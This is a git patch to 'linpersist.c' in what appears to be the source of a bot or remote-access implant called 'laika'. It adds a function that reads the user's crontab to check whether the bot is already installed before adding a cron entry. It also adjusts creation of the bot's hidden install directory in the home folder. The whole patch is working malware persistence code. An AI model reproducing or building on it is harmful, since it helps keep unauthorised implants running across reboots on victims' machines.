From bb6e489945da3dcbf5d9db59aa53542b3e0e77bf Mon Sep 17 00:00:00 2001 From: CPunch Date: Fri, 8 Apr 2022 12:51:03 -0500 Subject: [PATCH] check if installed in crontab before installing --- bot/lin/linpersist.c | 28 +++++++++++++++++++++++++--- 1 file changed, 25 insertions(+), 3 deletions(-) diff --git a/bot/lin/linpersist.c b/bot/lin/linpersist.c index 734fb46..49686b5 100644 --- a/bot/lin/linpersist.c +++ b/bot/lin/linpersist.c @@ -76,13 +76,34 @@ void getInstallPath(char *outPath, int pathSz) { /* create install directory if it doesn't exist */ snprintf(outPath, pathSz, "%s/%s", home, LAIKA_INSTALL_DIR_USER); - LAIKA_DEBUG("creating '%s'...\n", outPath); - if (stat(outPath, &st) == -1) + if (stat(outPath, &st) == -1) { + LAIKA_DEBUG("creating '%s'...\n", outPath); mkdir(outPath, 0700); + } snprintf(outPath, pathSz, "%s/%s/%s", home, LAIKA_INSTALL_DIR_USER, LAIKA_INSTALL_FILE_USER); } +bool checkPersistCron(char *path) { + char buf[PATH_MAX + 128]; + FILE *fp; + bool res = false; + + if ((fp = popen("crontab -l", "r")) == NULL) + LAIKA_ERROR("popen('crontab') failed!"); + + while (fgets(buf, sizeof(buf), fp)) { + if (strstr(buf, path)) { + /* laika is installed in the crontab! */ + res = true; + break; + } + } + + pclose(fp); + return res; +} + void tryPersistCron(char *path) { char cmd[PATH_MAX + 128]; @@ -113,7 +134,8 @@ void laikaB_tryPersist() { LAIKA_DEBUG("Successfully installed '%s'!\n", installPath); /* enable persistence on reboot via cron */ - tryPersistCron(installPath); + if (!checkPersistCron(installPath)) + tryPersistCron(installPath); #endif }